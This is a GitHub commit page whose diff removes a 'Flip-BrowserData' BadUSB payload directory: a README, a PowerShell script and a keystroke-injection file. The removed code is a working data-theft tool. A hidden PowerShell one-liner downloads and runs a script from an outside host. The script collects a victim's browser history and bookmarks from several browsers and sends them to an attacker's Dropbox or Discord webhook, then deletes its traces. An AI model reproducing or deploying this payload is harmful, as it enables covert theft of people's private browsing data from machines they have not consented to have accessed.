Delete Payloads/Flip-BrowserData directory
This commit is contained in:
I-Am-Jakoby
GitHub
parent
c1a2ceb636
commit
f657f8a16f
3 changed files with 0 additions and 208 deletions
|
|
@ -1,89 +0,0 @@
|
||||||
|
|
||||||
|
|
||||||
<!-- TABLE OF CONTENTS -->
|
|
||||||
<details>
|
|
||||||
<summary>Table of Contents</summary>
|
|
||||||
<ol>
|
|
||||||
<li><a href="#Description">Description</a></li>
|
|
||||||
<li><a href="#The-Function">The Function</a></li>
|
|
||||||
<li><a href="#Contact">Contact</a></li>
|
|
||||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
|
||||||
</ol>
|
|
||||||
</details>
|
|
||||||
|
|
||||||
# Get-BrowserData
|
|
||||||
|
|
||||||
<p align="center">
|
|
||||||
<a href="https://youtu.be/2qkgQAwDZgk">
|
|
||||||
<img src=https://i.ytimg.com/vi/2qkgQAwDZgk/maxresdefault.jpg width="300" alt="Python" />
|
|
||||||
</a>
|
|
||||||
<br>YouTube Tutorial
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## Description
|
|
||||||
|
|
||||||
This payload can be used to retrieve the browsing history and bookmarks from Edge, Chrome, Opera GX, and Firefox (no bookmarks from firefox currently).
|
|
||||||
|
|
||||||
They are then exfiled using either Discord or Dropbox.
|
|
||||||
|
|
||||||
## The Function
|
|
||||||
|
|
||||||
### [Get-BrowserData]
|
|
||||||
|
|
||||||
* Plug in your device
|
|
||||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
|
||||||
* You no longer need to host your own version of this script
|
|
||||||
* $db is the variable that holds your DropBox token
|
|
||||||
* $dc is the variable that holds your Discord webhook
|
|
||||||
* Fill in either variable or both to set your exfil method
|
|
||||||
|
|
||||||
SYNTAX:
|
|
||||||
|
|
||||||
```
|
|
||||||
powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex
|
|
||||||
```
|
|
||||||
|
|
||||||
<!-- CONTACT -->
|
|
||||||
## Contact
|
|
||||||
|
|
||||||
<h2 align="center">📱 My Socials 📱</h2>
|
|
||||||
<div align=center>
|
|
||||||
<table>
|
|
||||||
<tr>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
|
||||||
</a>
|
|
||||||
<br>YouTube
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://twitter.com/I_Am_Jakoby">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
|
||||||
</a>
|
|
||||||
<br>Twitter
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
|
||||||
</a>
|
|
||||||
<br>Instagram
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://discord.gg/MYYER2ZcJF">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
|
||||||
</a>
|
|
||||||
<br>Discord
|
|
||||||
</td>
|
|
||||||
</tr>
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
<!-- ACKNOWLEDGMENTS -->
|
|
||||||
## Acknowledgments
|
|
||||||
|
|
||||||
* [Hak5](https://hak5.org/)
|
|
||||||
* [UberGuidoZ](https://github.com/UberGuidoZ)
|
|
||||||
|
|
@ -1,102 +0,0 @@
|
||||||
function Get-BrowserData {
|
|
||||||
|
|
||||||
[CmdletBinding()]
|
|
||||||
param (
|
|
||||||
[Parameter (Position=1,Mandatory = $True)]
|
|
||||||
[string]$Browser,
|
|
||||||
[Parameter (Position=1,Mandatory = $True)]
|
|
||||||
[string]$DataType
|
|
||||||
)
|
|
||||||
|
|
||||||
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
|
||||||
|
|
||||||
if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"}
|
|
||||||
elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"}
|
|
||||||
elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"}
|
|
||||||
elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"}
|
|
||||||
elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"}
|
|
||||||
elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\History"}
|
|
||||||
elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks"}
|
|
||||||
|
|
||||||
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
|
||||||
$Value | ForEach-Object {
|
|
||||||
$Key = $_
|
|
||||||
if ($Key -match $Search){
|
|
||||||
New-Object -TypeName PSObject -Property @{
|
|
||||||
User = $env:UserName
|
|
||||||
Browser = $Browser
|
|
||||||
DataType = $DataType
|
|
||||||
Data = $_
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "opera" -DataType "history" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
Get-BrowserData -Browser "opera" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
|
|
||||||
|
|
||||||
# Upload output file to dropbox
|
|
||||||
|
|
||||||
function DropBox-Upload {
|
|
||||||
|
|
||||||
[CmdletBinding()]
|
|
||||||
param (
|
|
||||||
|
|
||||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
|
||||||
[Alias("f")]
|
|
||||||
[string]$SourceFilePath
|
|
||||||
)
|
|
||||||
$outputFile = Split-Path $SourceFilePath -leaf
|
|
||||||
$TargetFilePath="/$outputFile"
|
|
||||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
|
||||||
$authorization = "Bearer " + $db
|
|
||||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
|
||||||
$headers.Add("Authorization", $authorization)
|
|
||||||
$headers.Add("Dropbox-API-Arg", $arg)
|
|
||||||
$headers.Add("Content-Type", 'application/octet-stream')
|
|
||||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
|
||||||
}
|
|
||||||
|
|
||||||
if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\--BrowserData.txt}
|
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
function Upload-Discord {
|
|
||||||
|
|
||||||
[CmdletBinding()]
|
|
||||||
param (
|
|
||||||
[parameter(Position=0,Mandatory=$False)]
|
|
||||||
[string]$file,
|
|
||||||
[parameter(Position=1,Mandatory=$False)]
|
|
||||||
[string]$text
|
|
||||||
)
|
|
||||||
|
|
||||||
$hookurl = "$dc"
|
|
||||||
|
|
||||||
$Body = @{
|
|
||||||
'username' = $env:username
|
|
||||||
'content' = $text
|
|
||||||
}
|
|
||||||
|
|
||||||
if (-not ([string]::IsNullOrEmpty($text))){
|
|
||||||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
|
||||||
|
|
||||||
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\--BrowserData.txt}
|
|
||||||
|
|
||||||
|
|
||||||
############################################################################################################################################################
|
|
||||||
RI $env:TEMP/--BrowserData.txt
|
|
||||||
|
|
@ -1,17 +0,0 @@
|
||||||
REM Title: Browser-Data
|
|
||||||
|
|
||||||
REM Author: I am Jakoby
|
|
||||||
|
|
||||||
REM Description: This payload will grab your targets brosing history and bookmarks from IE, Chrome, Firefox, and Opera GX.
|
|
||||||
|
|
||||||
REM Target: Windows 10, 11
|
|
||||||
|
|
||||||
GUI r
|
|
||||||
DELAY 500
|
|
||||||
STRING powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/hgw | iex
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Fill in either variable or both to set your exfil method.
|
|
||||||
REM $db is the variable that holds your DropBox token.
|
|
||||||
REM $dc is the variable that holds your Discord webhook.
|
|
||||||
REM If you are using DropBox, also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly.
|
|
||||||
Loading…
Reference in a new issue